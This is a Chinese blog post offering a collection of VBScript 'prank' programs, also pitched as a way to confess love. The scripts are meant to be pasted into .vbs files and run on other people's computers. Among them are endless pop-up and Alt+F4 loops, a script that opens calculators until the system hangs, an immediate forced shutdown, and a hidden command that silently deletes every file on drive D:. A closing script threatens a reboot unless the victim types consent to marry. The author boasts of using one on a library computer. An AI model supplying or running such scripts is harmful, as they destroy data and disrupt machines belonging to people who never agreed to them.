<p>今天小编给大家带来一个小小的恶搞程序,每个装windows的系统都有的,那就是VBS编辑器。其实VBS本身是用作编程用的,但是我们今天可以学习用文本文档的方式编出高逼格的小程序。</p><p style="text-align: center;"><img src="/upload/content/20181211/1544464404320829.png" alt="VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白" width="550" height="" title="VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白"/></p><p><strong>VBS整人代码一:</strong></p><p>打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。</p><pre class="brush:vb;toolbar:false">msgbox("做我女朋友好吗?") msgbox("房产证上写你名字") msgbox("保大") msgbox("我妈会游泳")</pre><p style="white-space: normal;">然后把文件后缀名改成.vbs,这是最基本的,没有逻辑。</p><p style="white-space: normal;">若新建的txt文件不显示“.txt”,可随便打开一个文件夹,再点击【查看】,在【文件扩展名】前面打勾即可。</p><p><strong>VBS整人代码二:</strong></p><p>我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 </p><pre class="brush:vb;toolbar:false">do msgbox "You are foolish!" loop</pre><p><strong><strong style="white-space: normal;">VBS整人代码</strong>三:</strong></p><p>打开无数个计算器,直到死机 </p><pre class="brush:vb;toolbar:false">set wsh=createobject("wscript.shell") do wsh.run "calc" loop</pre><p><strong>VBS整人代码四<strong style="white-space: normal;">:</strong></strong></p><p>直接关机 </p><pre class="brush:vb;toolbar:false">dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true</pre><p><strong>VBS整人代码五:</strong></p><p>删除D:\所有文件 <br/></p><pre class="brush:vb;toolbar:false">dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true</pre><p><strong>VBS整人代码六:</strong></p><p>不断弹出窗口 。复制代码 代码如下:</p><pre class="brush:vb;toolbar:false">while(1) msgbox "哈哈 你被耍了!" loop</pre><p><strong>VBS整人代码七</strong></p><p>不断按下alt+f4 (开什么都关闭……) 。复制代码 代码如下:</p><pre class="brush:vb;toolbar:false">dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop</pre><p><strong>VBS整人代码八:</strong></p><p>按500次回车 。(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改) </p><p>复制代码 代码如下:</p><pre class="brush:vb;toolbar:false">dim s do until s=500 s=s+1 msgbox "哥们,给我按500次回车吧",64 loop</pre><p><strong>VBS整人代码九:</strong></p><p>关不掉的窗口 。复制代码 代码如下:</p><pre class="brush:vb;toolbar:false">WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")</pre><p><strong style="white-space: normal;">VBS整人代码九:</strong></p><p>最后一个可以向女表白的哟!!!</p><pre class="brush:vb;toolbar:false">on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我,否则会被关机......"" ",0 ,true dim a do while(a <> "我愿意") a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000) if( a <> "我愿意" ) then msgbox "不愿意么?再考虑一下哦" loop dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "哈哈哈哈,好乖"</pre><p style="box-sizing: border-box; outline: 0px; padding: 0px; margin-top: 0px; margin-bottom: 16px; color: rgb(79, 79, 79); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif, SimHei, SimSun; white-space: normal; background-color: rgb(255, 255, 255);"><span style="font-family: sans-serif;">里面的汉字自己改成合适的。如果对方不愿意,真的会被关机哦,请谨慎使用。</span></p><p style="box-sizing: border-box; outline: 0px; padding: 0px; margin-top: 0px; margin-bottom: 16px; color: rgb(79, 79, 79); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; font-family: -apple-system, "SF UI Text", Arial, "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", "WenQuanYi Micro Hei", sans-serif, SimHei, SimSun; white-space: normal; background-color: rgb(255, 255, 255);"><span style="font-family: sans-serif;">使用方法:</span><br/></p><p><span style="font-size: 14px; color: rgb(0, 112, 192);">将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,</span></p><p><span style="font-size: 14px; color: rgb(0, 112, 192);">如果会弹出弹窗,就表明成功了。</span></p><p><span style="font-size: 14px; color: rgb(0, 112, 192);">第一种示例比较简单,大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。</span></p><p><span style="font-size: 14px; color: rgb(0, 112, 192);">第二种示例中也可以在第三行前面随意增加,不管加多少行都行,不过第二个示例如果她选择拒绝就会被关机,怕是你要被打。</span></p><p><span style="color: rgb(255, 0, 0); font-size: 14px;">Tips:除了中文用全角,其他全用半角格式输入!</span></p><p>好了,以上就是关于“VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白”,最近很多抖友们都在问txt,vbs表白代码怎么生成的?非常的有创意哦!更是技术宅专用的表白方式!感兴趣的你赶紧来学习一下吧!<br/></p>